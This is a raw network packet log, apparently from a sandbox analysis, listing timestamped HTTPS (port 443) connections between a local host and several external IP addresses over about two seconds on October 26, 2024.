Oct 26, 2024 13:49:07.123805046 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.123830080 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.123872042 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.123889923 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.123912096 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.123934031 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.139144897 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.139456034 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.139473915 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.140537024 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.140599966 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.141166925 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.141195059 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.141221046 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.141252041 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.141252995 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.141278028 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.141347885 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.141748905 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.141839981 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.142410040 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.142420053 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.151489019 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.151509047 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.151865005 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.151886940 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.152101040 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.152646065 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.152653933 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.170526981 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.170541048 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.170583010 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.170610905 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.170627117 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.170685053 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.170723915 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.170747042 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.172029018 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.172050953 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.172106981 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.172116995 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.172148943 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.172167063 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.175564051 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.175594091 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.175601006 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.175625086 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.175637007 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.175638914 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.175649881 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.175663948 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.175682068 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.175684929 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.175708055 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.181426048 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:49:07.181447029 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:07.203418016 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.203444004 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.203486919 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.203514099 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.203530073 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.203541040 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.209475040 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.209501982 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.209508896 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.209522963 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.209530115 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.209532976 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.209589005 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.209589005 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.209604025 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.209616899 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.210339069 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.250468016 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.250704050 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.288510084 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.291054010 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.291081905 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.291131973 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.291156054 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.291176081 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.291205883 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.294934988 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.294950008 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.294965029 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.294974089 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.294992924 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.294992924 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.295005083 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.295047045 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.295828104 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.295840025 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.295862913 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.295874119 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.295878887 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.295907974 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.295933008 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.295970917 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.298966885 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.298979044 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.302330017 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.302355051 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.302392960 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.302422047 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.302438021 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.302458048 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.306631088 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:07.329844952 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.329863071 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.329878092 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.329888105 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.329905987 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.329917908 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.329960108 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.329960108 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.338681936 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.338742971 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.338762999 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.338784933 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.338900089 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.340226889 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.340241909 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.345974922 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.345989943 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.346015930 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.346036911 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.346065044 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.346080065 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.346097946 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.347321987 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.380469084 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.380491972 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.380534887 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.380549908 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.380584955 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.398225069 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.398250103 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.398293972 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.398329973 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.398350000 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.398366928 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.444247007 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.444281101 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.444335938 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.444346905 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.444380999 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.485838890 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.485899925 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.485915899 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.485954046 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.487025023 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.487042904 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.487059116 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.487065077 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.512259007 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.512284994 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.512366056 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.512409925 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.512433052 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.512449026 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.529890060 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.529938936 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.529947042 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.529959917 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.529968977 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.529972076 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.529989004 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.530004978 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.530025005 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.530044079 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.554965019 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.554996967 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.555048943 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.556291103 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.556330919 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.556757927 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.557929039 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.557948112 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.557998896 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.558744907 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.558758974 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.559222937 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.560777903 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.560790062 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.560884953 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.560899973 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.561825037 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.561857939 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.561912060 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.562052011 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.562066078 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.562079906 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.562088013 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.569731951 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.569753885 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.588335991 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.588380098 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.588437080 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.588644028 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.588660002 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.601713896 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.601737022 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.601746082 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.601773024 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.601787090 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:07.601788044 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.601816893 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.601833105 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.601845026 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:07.601851940 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:07.601875067 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:07.602736950 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.602802038 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:07.602807045 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.602994919 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:07.603034973 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:07.632401943 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.632453918 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.632471085 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.632494926 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.632514954 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.632529020 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.647303104 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.647335052 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.647362947 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.647365093 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.647371054 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.647392988 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.647433996 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.652565956 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.652574062 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.652591944 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.652631044 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.652650118 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.652667999 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.652694941 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.652750015 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.652775049 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.652806997 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.652832031 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.652847052 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.652870893 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.652944088 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.652956963 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.714298964 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.714308977 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.714344978 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.714368105 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.714382887 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.714410067 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.714426041 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.772591114 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.772614002 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.772655010 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.772694111 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.772717953 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.772736073 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.772742033 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.772758007 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.772799969 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.777331114 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.865803957 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.947417021 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.965281963 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.976552963 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.976573944 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.976686954 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.976705074 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.976804972 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.976818085 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.977022886 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.977300882 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.977382898 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.999596119 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.083080053 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.083093882 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.083134890 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.083168030 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.083184004 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.083220005 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.145612955 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.145636082 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.161384106 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.161417007 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.297046900 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.299014091 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.301019907 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.304258108 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.320530891 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.328577995 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.328591108 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.328645945 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.328661919 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.328700066 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.328706026 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.328732967 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.446391106 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.448864937 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.448868036 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.456450939 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.460494041 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.460541964 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.490458012 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.490487099 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.490613937 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.490694046 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.492067099 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.492167950 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.497562885 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.497705936 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.498138905 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.498262882 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.498563051 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.498672962 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.499844074 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.499886990 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.499902010 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.500346899 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.500581026 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.500582933 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.500688076 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.500727892 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.500888109 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.514360905 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.514416933 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.523929119 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.523947001 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.524415016 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.524425030 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.524854898 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.524876118 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.525424004 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.525430918 CEST	443	49782	13.107.246.60	192.168.2.5
